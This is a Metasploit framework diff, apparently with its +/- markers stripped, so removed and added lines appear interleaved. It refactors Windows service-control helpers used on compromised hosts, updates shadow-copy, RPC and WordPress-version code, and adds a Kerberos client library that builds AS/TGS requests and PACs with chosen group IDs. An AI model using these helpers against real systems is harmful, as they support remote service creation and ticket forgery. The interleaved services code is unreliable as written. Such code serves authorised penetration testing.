# @return [GetLastError] 0 if the function succeeds
#
def service_change_config(name, opts, server=nil)
open_sc_manager(:host=>server, :access=>"SC_MANAGER_CONNECT") do |manager|
open_service_handle(manager, name, "SERVICE_CHANGE_CONFIG") do |service_handle|
ret = advapi32.ChangeServiceConfigA(service_handle,
opts[:service_type] || "SERVICE_NO_CHANGE",
opts[:starttype] || "SERVICE_NO_CHANGE",
opts[:error_control] || "SERVICE_NO_CHANGE",
opts[:path] || nil,
opts[:logroup] || nil,
opts[:tag_id] || nil,
opts[:dependencies] || nil,
opts[:startname] || nil,
opts[:password] || nil,
opts[:display] || nil
)
return ret['GetLastError']
end
end
end
@ -167,47 +324,48 @@ module Services
# Create a service that runs +executable_on_host+ on the session host
#
# @param name [String] Name of the service to be used as the key
# @param display_name [String] Name of the service as displayed by mmc
# @param executable_on_host [String] EXE on the remote filesystem to
# be used as the service executable
# @param startup [Fixnum] Constant used by CreateServiceA for startup
# type: 2 for Auto, 3 for Manual, 4 for Disable. Default is Auto
# @param opts [Hash] Settings to be modified
# @param server [String,nil] A hostname or IP address. Default is the
# remote localhost
#
# @return [true,false] True if there were no errors, false otherwise
# @return [GetLastError] 0 if the function succeeds
#
def service_create(name, display_name, executable_on_host, startup=2, server=nil)
adv = session.railgun.advapi32
def service_create(name, opts, server=nil)
access = "SC_MANAGER_CONNECT | SC_MANAGER_CREATE_SERVICE | SC_MANAGER_QUERY_LOCK_STATUS"
open_sc_manager(:host=>server, :access=>access) do |manager|
# SC_MANAGER_CONNECT 0x01
# SC_MANAGER_CREATE_SERVICE 0x02
# SC_MANAGER_QUERY_LOCK_STATUS 0x10
open_sc_manager(:host=>server, :access=>0x13) do |manager|
# SC_HANDLE WINAPI CreateService(
# __in SC_HANDLE hSCManager,
# __in LPCTSTR lpServiceName,
# __in_opt LPCTSTR lpDisplayName,
# __in DWORD dwDesiredAccess,
# __in DWORD dwServiceType,
# __in DWORD dwStartType,
# __in DWORD dwErrorControl,
# __in_opt LPCTSTR lpBinaryPathName,
# __in_opt LPCTSTR lpLoadOrderGroup,
# __out_opt LPDWORD lpdwTagId,
# __in_opt LPCTSTR lpDependencies,
# __in_opt LPCTSTR lpServiceStartName,
# __in_opt LPCTSTR lpPassword
#);
newservice = adv.CreateServiceA(manager, name, display_name,
0x0010, 0X00000010, startup, 0, executable_on_host,
nil, nil, nil, nil, nil)
adv.CloseServiceHandle(newservice["return"])
if newservice["GetLastError"] == 0
return true
else
return false
opts[:display] ||= Rex::Text.rand_text_alpha(8)
opts[:desired_access] ||= "SERVICE_START"
opts[:service_type] ||= "SERVICE_WIN32_OWN_PROCESS"
opts[:starttype] ||= START_TYPE_AUTO
opts[:error_control] ||= "SERVICE_ERROR_IGNORE"
opts[:path] ||= nil
opts[:logroup] ||= nil
opts[:tag_id] ||= nil
opts[:dependencies] ||= nil
opts[:startname] ||= nil
opts[:password] ||= nil
newservice = advapi32.CreateServiceA(manager,
name,
opts[:display],
opts[:desired_access],
opts[:service_type],
opts[:starttype],
opts[:error_control],
opts[:path],
opts[:logroup],
opts[:tag_id], # out
opts[:dependencies],
opts[:startname],
opts[:password]
)
if newservice
close_service_handle(newservice["return"])
end
return newservice["GetLastError"]
end
end
@ -224,27 +382,11 @@ module Services
# @raise [RuntimeError] if OpenServiceA failed
#
def service_start(name, server=nil)
adv = session.railgun.advapi32
open_sc_manager(:host=>server, :access=>1) do |manager|
# SC_HANDLE WINAPI OpenService(
# _In_ SC_HANDLE hSCManager,
# _In_ LPCTSTR lpServiceName,
# _In_ DWORD dwDesiredAccess
# );
# open with access SERVICE_START (0x0010)
handle = adv.OpenServiceA(manager, name, 0x10)
if(handle["return"] == 0)
raise RuntimeError.new("Could not open service. OpenServiceA error: #{handle["GetLastError"]}")
end
retval = adv.StartServiceA(handle["return"],0,nil)
adv.CloseServiceHandle(handle["return"])
open_sc_manager(:host=>server, :access=>"SC_MANAGER_CONNECT") do |manager|
open_service_handle(manager, name, "SERVICE_START") do |service_handle|
retval = advapi32.StartServiceA(service_handle,0,nil)
# This is terrible. Magic return values should be refactored to
# something meaningful.
case retval["GetLastError"]
when 0; return 0 # everything worked
when 1056; return 1 # service already started
when 1058; return 2 # service disabled
return retval["GetLastError"]
end
end
end
@ -260,22 +402,21 @@ module Services
# @raise (see #service_start)
#
def service_stop(name, server=nil)
adv = session.railgun.advapi32
# SC_MANAGER_SERVICE_STOP (0x0020)
open_sc_manager(:host=>server, :access=>1) do |manager|
# open with SERVICE_STOP (0x0020)
handle = adv.OpenServiceA(manager, name, 0x20)
if(handle["return"] == 0)
raise RuntimeError.new("Could not open service. OpenServiceA error: #{handle["GetLastError"]}")
end
retval = adv.ControlService(handle["return"],1,56)
adv.CloseServiceHandle(handle["return"])
open_sc_manager(:host=>server, :access=>"SC_MANAGER_CONNECT") do |manager|
open_service_handle(manager, name, "SERVICE_STOP") do |service_handle|
retval = advapi32.ControlService(service_handle,1,28)
case retval["GetLastError"]
when 0; return 0 # worked
when 1062; return 1 # already stopped or disabled
when 1052; return 2 # cannot be stopped
when Error::SUCCESS,
Error::INVALID_SERVICE_CONTROL,
Error::SERVICE_CANNOT_ACCEPT_CTRL,
Error::SERVICE_NOT_ACTIVE
status = parse_service_status_struct(retval['lpServiceStatus'])
else
status = nil
end
return retval["GetLastError"]
end
end
end
@ -286,24 +427,11 @@ module Services
# @param (see #service_start)
#
def service_delete(name, server=nil)
adv = session.railgun.advapi32
open_sc_manager(:host=>server) do |manager|
# Now to grab a handle to the service.
# Thank you, Wine project for defining the DELETE constant since it,
# and all its friends, are missing from the MSDN docs.
# #define DELETE 0x00010000
handle = adv.OpenServiceA(manager, name, 0x10000)
if (handle["return"] == 0)
raise RuntimeError.new("Could not open service. OpenServiceA error: #{handle["GetLastError"]}")
open_service_handle(manager, name, "DELETE") do |service_handle|
ret = advapi32.DeleteService(service_handle)
return ret["GetLastError"]
end
# Lastly, delete it
adv.DeleteService(handle["return"])
adv.CloseServiceHandle(handle["return"])
handle["GetLastError"]
end
end
@ -318,26 +446,96 @@ module Services
#
#
def service_status(name, server=nil)
adv = session.railgun.advapi32
ret = nil
# 0x80000000 GENERIC_READ
open_sc_manager(:host => server, :access => 0x80000000) do |manager|
# Now to grab a handle to the service.
handle = adv.OpenServiceA(manager, name, 0x80000000)
if (handle["return"] == 0)
raise RuntimeError.new("Could not open service. OpenServiceA error: #{handle["GetLastError"]}")
end
open_sc_manager(:host => server, :access => "GENERIC_READ") do |manager|
open_service_handle(manager, name, "GENERIC_READ") do |service_handle|
status = advapi32.QueryServiceStatus(service_handle,28)
status = adv.QueryServiceStatus(handle["return"],28)
if (status["return"] == 0)
raise RuntimeError.new("Could not query service. QueryServiceStatus error: #{handle["GetLastError"]}")
raise RuntimeError.new("Could not query service. QueryServiceStatus error: #{status["ErrorMessage"]}")
else
ret = parse_service_status_struct(status['lpServiceStatus'])
end
end
end
vals = status['lpServiceStatus'].unpack('V*')
adv.CloseServiceHandle(handle["return"])
return ret
end
ret = {
#
# Performs an aggressive service (re)start
# If service is disabled it will re-enable
# If service is running it will stop and restart
#
# @param name [String] The service name
# @param start_type [Integer] The start type to configure if disabled
# @param server [String] The server to target
#
# @return [Boolean] indicating success
#
#
def service_restart(name, start_type=START_TYPE_AUTO, server=nil)
tried = false
begin
status = service_start(name, server)
if status == Error::SUCCESS
vprint_good("[#{name}] Service started")
return true
else
raise RuntimeError, status
end
rescue RuntimeError => s
if tried
vprint_error("[#{name}] Unhandled error: #{s}")
return false
else
tried = true
end
case s.message.to_i
when Error::ACCESS_DENIED
vprint_error("[#{name}] Access denied")
when Error::INVALID_HANDLE
vprint_error("[#{name}] Invalid handle")
when Error::PATH_NOT_FOUND
vprint_error("[#{name}] Service binary could not be found")
when Error::SERVICE_ALREADY_RUNNING
vprint_status("[#{name}] Service already running attempting to stop and restart")
stopped = service_stop(name, server)
if ((stopped == Error::SUCCESS) || (stopped == Error::SERVICE_NOT_ACTIVE))
retry
else
vprint_error("[#{name}] Service disabled, unable to change start type Error: #{stopped}")
end
when Error::SERVICE_DISABLED
vprint_status("[#{name}] Service disabled attempting to set to manual")
if (service_change_config(name, {:starttype => start_type}, server) == Error::SUCCESS)
retry
else
vprint_error("[#{name}] Service disabled, unable to change start type")
end
else
vprint_error("[#{name}] Unhandled error: #{s}")
return false
end
end
end
#
# Parses out a SERVICE_STATUS struct from the
# lpServiceStatus out parameter
#
# @param (lpServiceStatus)
#
# @return [Hash] Containing SERVICE_STATUS values
#
def parse_service_status_struct(lpServiceStatus)
if lpServiceStatus
vals = lpServiceStatus.unpack('V*')
return {
:type => vals[0],
:state => vals[1],
:controls_accepted => vals[2],
@ -346,10 +544,11 @@ module Services
:check_point => vals[5],
:wait_hint => vals[6]
}
else
return nil
end
end
return ret
end
end
end

View File

@ -175,25 +175,9 @@ module ShadowCopy
print_status("Volume Shadow Copy service is running.")
else
print_status("Volume Shadow Copy service not running. Starting it now...")
begin
ss_result = service_start("VSS")
case ss_result
when 0
print_status("Volume Shadow Copy started successfully.")
when 1
print_error("Volume Shadow Copy already running.")
when 2
print_error("Volume Shadow Copy is disabled.")
print_status("Attempting to re-enable...")
service_change_startup("VSS","manual")
ss_result = service_start("VSS")
if ss_result == 0
return true
if service_restart("VSS", START_TYPE_MANUAL)
print_good("Volume Shadow Copy started successfully.")
else
return false
end
end
rescue
print_error("Insufficient Privs to start service!")
return false
end

View File

@ -285,6 +285,7 @@ public
res[:workspaces] = []
self.framework.db.workspaces.each do |j|
ws = {}
ws[:id] = j.id
ws[:name] = j.name
ws[:created_at] = j.created_at.to_i
ws[:updated_at] = j.updated_at.to_i
@ -295,7 +296,7 @@ public
def rpc_current_workspace
db_check
{ "workspace" => self.framework.db.workspace.name }
{ "workspace" => self.framework.db.workspace.name, "workspace_id" => self.framework.db.workspace.id }
end
def rpc_get_workspace(wspace)
@ -306,6 +307,7 @@ public
if(wspace)
w = {}
w[:name] = wspace.name
w[:id] = wspace.id
w[:created_at] = wspace.created_at.to_i
w[:updated_at] = wspace.updated_at.to_i
ret[:workspace] << w

View File

@ -98,7 +98,7 @@ module Msf::HTTP::Wordpress::Version
# try to extract version from readme
# Example line:
# Stable tag: 2.6.6
version = res.body.to_s[/stable tag: ([^\r\n"\']+\.[^\r\n"\']+)/i, 1]
version = res.body.to_s[/(?:stable tag|version):\s*(?!trunk)([0-9a-z.-]+)/i, 1]
# readme present, but no version number
return Msf::Exploit::CheckCode::Detected if version.nil?

139
lib/msf/kerberos/client.rb Normal file
View File

@ -0,0 +1,139 @@
# -*- coding: binary -*-
require 'rex/proto/kerberos'
module Msf
module Kerberos
module Client
require 'msf/kerberos/client/base'
require 'msf/kerberos/client/as_request'
require 'msf/kerberos/client/as_response'
require 'msf/kerberos/client/tgs_request'
require 'msf/kerberos/client/tgs_response'
require 'msf/kerberos/client/pac'
require 'msf/kerberos/client/cache_credential'
include Msf::Kerberos::Client::Base
include Msf::Kerberos::Client::AsRequest
include Msf::Kerberos::Client::AsResponse
include Msf::Kerberos::Client::TgsRequest
include Msf::Kerberos::Client::TgsResponse
include Msf::Kerberos::Client::Pac
include Msf::Kerberos::Client::CacheCredential
# @!attribute client
# @return [Rex::Proto::Kerberos::Client] The kerberos client
attr_accessor :client
def initialize(info = {})
super
register_options(
[
Opt::RHOST,
Opt::RPORT(88),
OptInt.new('Timeout', [true, 'The TCP timeout to establish connection and read data', 10])
], self.class
)
end
# Returns the target host
#
# @return [String]
def rhost
datastore['RHOST']
end
# Returns the remote port
#
# @return [Fixnum]
def rport
datastore['RPORT']
end
# Returns the TCP timeout
#
# @return [Fixnum]
def timeout
datastore['Timeout']
end
# Returns the kdc peer
#
# @return [String]
def peer
"#{rhost}:#{rport}"
end
# Creates a kerberos connection
#
# @param opts [Hash{Symbol => <String, Fixnum>}]
# @option opts [String] :rhost
# @option opts [<String, Fixnum>] :rport
# @return [Rex::Proto::Kerberos::Client]
def connect(opts={})
kerb_client = Rex::Proto::Kerberos::Client.new(
host: opts[:rhost] || rhost,
port: (opts[:rport] || rport).to_i,
timeout: (opts[:timeout] || timeout).to_i,
context:
{
'Msf' => framework,
'MsfExploit' => self,
},
protocol: 'tcp'
)
disconnect if client
self.client = kerb_client
kerb_client
end
# Disconnects the Kerberos client
#
# @param kerb_client [Rex::Proto::Kerberos::Client] the client to disconnect
def disconnect(kerb_client = client)
kerb_client.close if kerb_client
if kerb_client == client
self.client = nil
end
end
# Performs cleanup as necessary, disconnecting the Kerberos client
# if it's still established.
def cleanup
super
disconnect
end
# Sends a kerberos AS request and reads the response
#
# @param opts [Hash]
# @return [Rex::Proto::Kerberos::Model::KdcResponse]
# @see Msf::Kerberos::Client::AsRequest#build_as_request
# @see Rex::Proto::Kerberos::Model::KdcResponse
def send_request_as(opts = {})
connect(opts)
req = build_as_request(opts)
res = client.send_recv(req)
disconnect
res
end
# Sends a kerberos AS request and reads the response
#
# @param opts [Hash]
# @return [Rex::Proto::Kerberos::Model::KdcResponse]
# @see Msf::Kerberos::Client::TgsRequest#build_tgs_request
# @see Rex::Proto::Kerberos::Model::KdcResponse
def send_request_tgs(opts = {})
connect(opts)
req = build_tgs_request(opts)
res = client.send_recv(req)
disconnect
res
end
end
end
end

View File

@ -0,0 +1,111 @@
# -*- coding: binary -*-
require 'rex/proto/kerberos'
module Msf
module Kerberos
module Client
module AsRequest
# Builds a kerberos AS request
#
# @param opts [Hash{Symbol => <Array<Rex::Proto::Kerberos::Model::PreAuthData>, Rex::Proto::Kerberos::Model::KdcRequestBody>}]
# @option opts [Array<Rex::Proto::Kerberos::Model::PreAuthData>] :pa_data
# @option opts [Rex::Proto::Kerberos::Model::KdcRequestBody] :body
# @return [Rex::Proto::Kerberos::Model::KdcRequest]
# @see [Rex::Proto::Kerberos::Model::KdcRequest]
# @see #build_as_pa_time_stamp
# @see #build_as_request_body
def build_as_request(opts = {})
pa_data = opts[:pa_data] || build_as_pa_time_stamp(opts)
body = opts[:body] || build_as_request_body(opts)
request = Rex::Proto::Kerberos::Model::KdcRequest.new(
pvno: 5,
msg_type: Rex::Proto::Kerberos::Model::AS_REQ,
pa_data: pa_data,
req_body: body
)
request
end
# Builds a kerberos PA-ENC-TIMESTAMP pre authenticated structure
#
# @param opts [Hash{Symbol => <Time, Fixnum, String>}]
# @option opts [Time] :time_stamp
# @option opts [Fixnum] :pausec
# @option opts [Fixnum] :etype
# @option opts [String] :key
# @return [Rex::Proto::Kerberos::Model::PreAuthData]
# @see Rex::Proto::Kerberos::Model::PreAuthEncTimeStamp
# @see Rex::Proto::Kerberos::Model::EncryptedData
# @see Rex::Proto::Kerberos::Model::PreAuthData
def build_as_pa_time_stamp(opts = {})
time_stamp = opts[:time_stamp] || Time.now
pausec = opts[:pausec] || 0
etype = opts[:etype] || Rex::Proto::Kerberos::Crypto::RC4_HMAC
key = opts[:key] || ''
pa_time_stamp = Rex::Proto::Kerberos::Model::PreAuthEncTimeStamp.new(
pa_time_stamp: time_stamp,
pausec: pausec
)
enc_time_stamp = Rex::Proto::Kerberos::Model::EncryptedData.new(
etype: etype,
cipher: pa_time_stamp.encrypt(etype, key)
)
pa_enc_time_stamp = Rex::Proto::Kerberos::Model::PreAuthData.new(
type: Rex::Proto::Kerberos::Model::PA_ENC_TIMESTAMP,
value: enc_time_stamp.encode
)
pa_enc_time_stamp
end
# Builds a kerberos AS request body
#
# @param opts [Hash{Symbol => <Fixnum, Time, String, Rex::Proto::Kerberos::Model::PrincipalName>}]
# @option opts [Fixnum] :options
# @option opts [Time] :from
# @option opts [Time] :till
# @option opts [Time] :rtime
# @option opts [Fixnum] :nonce
# @option opts [Fixnum] :etype
# @option opts [Rex::Proto::Kerberos::Model::PrincipalName] :cname
# @option opts [String] :realm
# @option opts [Rex::Proto::Kerberos::Model::PrincipalName] :sname
# @return [Rex::Proto::Kerberos::Model::KdcRequestBody]
# @see #build_client_name
# @see #build_server_name
# @see Rex::Proto::Kerberos::Model::KdcRequestBody
def build_as_request_body(opts = {})
options = opts[:options] || 0x50800000 # Forwardable, Proxiable, Renewable
from = opts[:from] || Time.utc('1970-01-01-01 00:00:00')
till = opts[:till] || Time.utc('1970-01-01-01 00:00:00')
rtime = opts[:rtime] || Time.utc('1970-01-01-01 00:00:00')
nonce = opts[:nonce] || Rex::Text.rand_text_numeric(6).to_i
etype = opts[:etype] || [Rex::Proto::Kerberos::Crypto::RC4_HMAC]
cname = opts[:cname] || build_client_name(opts)
realm = opts[:realm] || ''
sname = opts[:sname] || build_server_name(opts)
body = Rex::Proto::Kerberos::Model::KdcRequestBody.new(
options: options,
cname: cname,
realm: realm,
sname: sname,
from: from,
till: till,
rtime: rtime,
nonce: nonce,
etype: etype
)
body
end
end
end
end
end

View File

@ -0,0 +1,46 @@
# -*- coding: binary -*-
require 'rex/proto/kerberos'
module Msf
module Kerberos
module Client
module AsResponse
# Extracts the session key from a Kerberos AS Response
#
# @param res [Rex::Proto::Kerberos::Model::KdcResponse]
# @param key [String]
# @return [Rex::Proto::Kerberos::Model::EncryptionKey]
# @see Rex::Proto::Kerberos::Model::KdcResponse
# @see Rex::Proto::Kerberos::Model::EncryptedData.decrypt
# @see Rex::Proto::Kerberos::Model::EncKdcResponse
# @see Rex::Proto::Kerberos::Model::EncKdcResponse.decode
# @see Rex::Proto::Kerberos::Model::EncryptionKey
def extract_session_key(res, key)
decrypt_res = res.enc_part.decrypt(key, Rex::Proto::Kerberos::Crypto::ENC_AS_RESPONSE)
enc_kdc_res = Rex::Proto::Kerberos::Model::EncKdcResponse.decode(decrypt_res)
enc_kdc_res.key
end
# Extracts the logon time from a Kerberos AS Response
#
# @param res [Rex::Proto::Kerberos::Model::KdcResponse]
# @param key [String]
# @return [Fixnum]
# @see Rex::Proto::Kerberos::Model::KdcResponse
# @see Rex::Proto::Kerberos::Model::EncryptedData.decrypt
# @see Rex::Proto::Kerberos::Model::EncKdcResponse
# @see Rex::Proto::Kerberos::Model::EncKdcResponse.decode
def extract_logon_time(res, key)
decrypt_res = res.enc_part.decrypt(key, Rex::Proto::Kerberos::Crypto::ENC_AS_RESPONSE)
enc_kdc_res = Rex::Proto::Kerberos::Model::EncKdcResponse.decode(decrypt_res)
auth_time = enc_kdc_res.auth_time
auth_time.to_i
end
end
end
end
end

View File

@ -0,0 +1,44 @@
# -*- coding: binary -*-
module Msf
module Kerberos
module Client
module Base
# Builds a kerberos Client Name Principal
#
# @param opts [Hash{Symbol => <String, Fixnum>}]
# @option opts [String] :client_name the client's name
# @option opts [Fixnum] :client_type the client's name type
# @return [Rex::Proto::Kerberos::Model::PrincipalName]
# @see Rex::Proto::Kerberos::Model::PrincipalName
def build_client_name(opts = {})
name = opts[:client_name] || ''
name_type = opts[:client_type] || Rex::Proto::Kerberos::Model::NT_PRINCIPAL
Rex::Proto::Kerberos::Model::PrincipalName.new(
name_type: name_type,
name_string: name.split('/')
)
end
# Builds a kerberos Server Name Principal
#
# @param opts [Hash{Symbol => <String, Fixnum>}]
# @option opts [String] :server_name the server's name
# @option opts [Fixnum] :server_type the server's name type
# @return [Rex::Proto::Kerberos::Model::PrincipalName]
# @see Rex::Proto::Kerberos::Model::PrincipalName
def build_server_name(opts = {})
name = opts[:server_name] || ''
name_type = opts[:server_type] || Rex::Proto::Kerberos::Model::NT_PRINCIPAL
Rex::Proto::Kerberos::Model::PrincipalName.new(
name_type: name_type,
name_string: name.split('/')
)
end
end
end
end
end

View File

@ -0,0 +1,148 @@
# -*- coding: binary -*-
require 'rex/proto/kerberos'
module Msf
module Kerberos
module Client
module CacheCredential
# Builds a MIT Credential Cache
#
# @param opts [Hash{Symbol => <Fixnum, Array<String>, Rex::Proto::Kerberos::CredentialCache::Principal, Array<Rex::Proto::Kerberos::CredentialCache::Credential>>}]
# @option opts [Fixnum] :version
# @option opts [Array<String>] :headers
# @option opts [Rex::Proto::Kerberos::CredentialCache::Principal] :primary_principal
# @option opts [Array<Rex::Proto::Kerberos::CredentialCache::Credential>] :credentials
# @return [Rex::Proto::Kerberos::CredentialCache::Cache]
# @see Rex::Proto::Kerberos::CredentialCache::Cache
def create_cache(opts = {})
version = opts[:version] || Rex::Proto::Kerberos::CredentialCache::VERSION
headers = opts[:headers] || [Rex::Proto::Kerberos::CredentialCache::HEADER]
primary_principal = opts[:primary_principal] || create_cache_principal(opts)
credentials = opts[:credentials] || [create_cache_credential(opts)]
cache = Rex::Proto::Kerberos::CredentialCache::Cache.new(
version: version,
headers: headers,
primary_principal: primary_principal,
credentials: credentials
)
cache
end
# Builds a MIT Credential Cache principal
#
# @param opts [Hash<{Symbol => <Fixnum, String, Array<String>}>]
# @option opts [Fixnum] :name_type
# @option opts [String] :realm
# @option opts [Array<String>] :components
# @return [Rex::Proto::Kerberos::CredentialCache::Principal]
# @see Rex::Proto::Kerberos::CredentialCache::Principal
def create_cache_principal(opts = {})
name_type = opts[:name_type] || 0
realm = opts[:realm] || ''
components = opts[:components] || ['']
principal = Rex::Proto::Kerberos::CredentialCache::Principal.new(
name_type: name_type,
realm: realm,
components:components
)
principal
end
# Builds a MIT Credential Cache key block
#
# @param opts [Hash<{Symbol => <Fixnum, String>}>]
# @option opts [Fixnum] :key_type
# @option opts [Fixnum] :e_type
# @option opts [String] :key_value
# @return [Rex::Proto::Kerberos::CredentialCache::KeyBlock]
# @see Rex::Proto::Kerberos::CredentialCache::KeyBlock
def create_cache_key_block(opts = {})
key_type = opts[:key_type] || Rex::Proto::Kerberos::Crypto::RC4_HMAC
e_type = opts[:e_type] || 0
key_value = opts[:key_value] || ''
key_block = Rex::Proto::Kerberos::CredentialCache::KeyBlock.new(
key_type: key_type,
e_type: e_type,
key_value: key_value
)
key_block
end
# Builds a times structure linked to a credential in a MIT Credential Cache
#
# @param opts [Hash<{Symbol => Fixnum}>]
# @option opts [Fixnum] auth_time
# @option opts [Fixnum] start_time
# @option opts [Fixnum] end_time
# @option opts [Fixnum] renew_till
# @return [Rex::Proto::Kerberos::CredentialCache::Time]
# @see Rex::Proto::Kerberos::CredentialCache::Time
def create_cache_times(opts = {})
auth_time = opts[:auth_time] || 0
start_time = opts[:start_time] || 0
end_time = opts[:end_time] || 0
renew_till = opts[:renew_till] || 0
time = Rex::Proto::Kerberos::CredentialCache::Time.new(
auth_time: auth_time.to_i,
start_time: start_time.to_i,
end_time: end_time.to_i,
renew_till: renew_till.to_i
)
time
end
# Builds a MIT Credential Cache credential
#
# @param opts [Hash<{Symbol => <>}>]
# @option opts [Rex::Proto::Kerberos::CredentialCache::Principal] client
# @option opts [Rex::Proto::Kerberos::CredentialCache::Principal] server
# @option opts [Rex::Proto::Kerberos::CredentialCache::KeyBlock] key
# @option opts [Rex::Proto::Kerberos::CredentialCache::Time] time
# @option opts [Fixnum] is_key
# @option opts [Fixnum] flags
# @option opts [Array] addrs
# @option opts [Array] auth_data
# @option opts [String] ticket
# @option opts [String] second_ticket
# @return [Rex::Proto::Kerberos::CredentialCache::Credential]
# @see Rex::Proto::Kerberos::CredentialCache::Credential
def create_cache_credential(opts = {})
client = opts[:client] || create_cache_principal(opts)
server = opts[:server] || create_cache_principal(opts)
key = opts[:key] || create_cache_key_block(opts)
time = opts[:time] || create_cache_times(opts)
is_skey = opts[:is_skey] || 0
tkt_flags = opts[:flags] || 0
addrs = opts[:addrs] || []
auth_data = opts[:auth_data] || []
ticket = opts[:ticket] || ''
second_ticket = opts[:second_ticket] || ''
cred = Rex::Proto::Kerberos::CredentialCache::Credential.new(
client: client,
server: server,
key: key,
time: time,
is_skey: is_skey,
tkt_flags:tkt_flags,
addrs: addrs,
auth_data: auth_data,
ticket: ticket,
second_ticket: second_ticket
)
cred
end
end
end
end
end

View File

@ -0,0 +1,111 @@
# -*- coding: binary -*-
require 'rex/proto/kerberos'
module Msf
module Kerberos
module Client
module Pac
# Builds a kerberos PA-PAC-REQUEST pre authenticated structure
#
# @param opts [Hash{Symbol => Boolean}]
# @option opts [Boolean] :pac_request_value
# @return [Rex::Proto::Kerberos::Model::Field::PreAuthData]
# @see Rex::Proto::Kerberos::Model::PreAuthPacRequest
# @see Rex::Proto::Kerberos::Model::PreAuthData
def build_pa_pac_request(opts = {})
value = opts[:pac_request_value] || false
pac_request = Rex::Proto::Kerberos::Model::PreAuthPacRequest.new(value: value)
pa_pac_request = Rex::Proto::Kerberos::Model::PreAuthData.new(
type: Rex::Proto::Kerberos::Model::PA_PAC_REQUEST,
value: pac_request.encode
)
pa_pac_request
end
# Builds a kerberos PACTYPE structure
#
# @param opts [Hash{Symbol => <String, Fixnum, Array, Time>}]
# @option opts [String] :client_name
# @option opts [Fixnum] :user_id the user SID Ex: 1000
# @option opts [Fixnum] :group_id Ex: 513 for 'Domain Users'
# @option opts [Array<Fixnum>] :group_ids
# @option opts [String] :realm
# @option opts [String] :domain_id the domain SID Ex: S-1-5-21-1755879683-3641577184-3486455962
# @option opts [Time] :logon_time
# @return [Rex::Proto::Kerberos::Pac::Type]
# @see Rex::Proto::Kerberos::Pac::LogonInfo
# @see Rex::Proto::Kerberos::Pac::ClientInfo
# @see Rex::Proto::Kerberos::Pac::ServerChecksum
# @see Rex::Proto::Kerberos::Pac::PrivSvrChecksum
# @see Rex::Proto::Kerberos::Pac::Type
def build_pac(opts = {})
user_name = opts[:client_name] || ''
user_id = opts[:user_id] || Rex::Proto::Kerberos::Pac::DEFAULT_USER_SID
primary_group_id = opts[:group_id] || Rex::Proto::Kerberos::Pac::DOMAIN_USERS
group_ids = opts[:group_ids] || [Rex::Proto::Kerberos::Pac::DOMAIN_USERS]
domain_name = opts[:realm] || ''
domain_id = opts[:domain_id] || Rex::Proto::Kerberos::Pac::NT_AUTHORITY_SID
logon_time = opts[:logon_time] || Time.now
checksum_type = opts[:checksum_type] || Rex::Proto::Kerberos::Crypto::RSA_MD5
logon_info = Rex::Proto::Kerberos::Pac::LogonInfo.new(
logon_time: logon_time,
effective_name: user_name,
user_id: user_id,
primary_group_id: primary_group_id,
group_ids: group_ids,
logon_domain_name: domain_name,
logon_domain_id: domain_id,
)
client_info = Rex::Proto::Kerberos::Pac::ClientInfo.new(
client_id: logon_time,
name: user_name
)
server_checksum = Rex::Proto::Kerberos::Pac::ServerChecksum.new(
checksum: checksum_type
)
priv_srv_checksum = Rex::Proto::Kerberos::Pac::PrivSvrChecksum.new(
checksum: checksum_type
)
pac_type = Rex::Proto::Kerberos::Pac::Type.new(
buffers: [
logon_info,
client_info,
server_checksum,
priv_srv_checksum
],
checksum: checksum_type
)
pac_type
end
# Builds an kerberos AuthorizationData structure containing a PACTYPE
#
# @param opts [Hash{Symbol => Rex::Proto::Kerberos::Pac::Type}]
# @option opts [Rex::Proto::Kerberos::Pac::Type] :pac
# @return [Rex::Proto::Kerberos::Model::AuthorizationData]
# @see Rex::Proto::Kerberos::Model::AuthorizationData
def build_pac_authorization_data(opts = {})
pac = opts[:pac] || build_pac(opts)
pac_auth_data = Rex::Proto::Kerberos::Model::AuthorizationData.new(
elements: [{:type => Rex::Proto::Kerberos::Pac::AD_WIN2K_PAC, :data => pac.encode}]
)
authorization_data = Rex::Proto::Kerberos::Model::AuthorizationData.new(
elements: [{:type => Rex::Proto::Kerberos::Model::AD_IF_RELEVANT, :data => pac_auth_data.encode}]
)
authorization_data
end
end
end
end
end

View File

@ -0,0 +1,273 @@
# -*- coding: binary -*-
require 'rex/proto/kerberos'
module Msf
module Kerberos
module Client
module TgsRequest
# Builds the encrypted Kerberos TGS request
#
# @param opts [Hash{Symbol => <Rex::Proto::Kerberos::Model::Element>}]
# @option opts [Rex::Proto::Kerberos::Model::AuthorizationData] :auth_data
# @option opts [Rex::Proto::Kerberos::Model::EncryptedData] :enc_auth_data
# @option opts [Rex::Proto::Kerberos::Model::EncryptionKey] :subkey
# @option opts [Rex::Proto::Kerberos::Model::Checksum] :checksum
# @option opts [Rex::Proto::Kerberos::Model::Authenticator] :auhtenticator
# @option opts [Array<Rex::Proto::Kerberos::Model::PreAuthData>] :pa_data
# @return [Rex::Proto::Kerberos::Model::KdcRequest]
# @raise [RuntimeError] if ticket isn't available
# @see Rex::Proto::Kerberos::Model::AuthorizationData
# @see Rex::Proto::Kerberos::Model::EncryptedData
# @see Rex::Proto::Kerberos::Model::EncryptionKey
# @see Rex::Proto::Kerberos::Model::Checksum
# @see Rex::Proto::Kerberos::Model::Authenticator
# @see Rex::Proto::Kerberos::Model::PreAuthData
# @see Rex::Proto::Kerberos::Model::KdcRequest
def build_tgs_request(opts = {})
subkey = opts[:subkey] || build_subkey(opts)
if opts[:enc_auth_data]
enc_auth_data = opts[:enc_auth_data]
elsif opts[:auth_data]
enc_auth_data = build_enc_auth_data(
auth_data: opts[:auth_data],
subkey: subkey
)
else
enc_auth_data = nil
end
body = build_tgs_request_body(opts.merge(
enc_auth_data: enc_auth_data
))
checksum = opts[:checksum] || build_tgs_body_checksum(:body => body)
if opts[:auhtenticator]
authenticator = opts[:authenticator]
else
authenticator = build_authenticator(opts.merge(
subkey: subkey,
checksum: checksum
))
end
if opts[:ap_req]
ap_req = opts[:ap_req]
else
ap_req = build_ap_req(opts.merge(:authenticator => authenticator))
end
pa_ap_req = Rex::Proto::Kerberos::Model::PreAuthData.new(
type: Rex::Proto::Kerberos::Model::PA_TGS_REQ,
value: ap_req.encode
)
pa_data = []
pa_data.push(pa_ap_req)
if opts[:pa_data]
opts[:pa_data].each { |pa| pa_data.push(pa) }
end
request = Rex::Proto::Kerberos::Model::KdcRequest.new(
pvno: 5,
msg_type: Rex::Proto::Kerberos::Model::TGS_REQ,
pa_data: pa_data,
req_body: body
)
request
end
# Builds the encrypted TGS authorization data
#
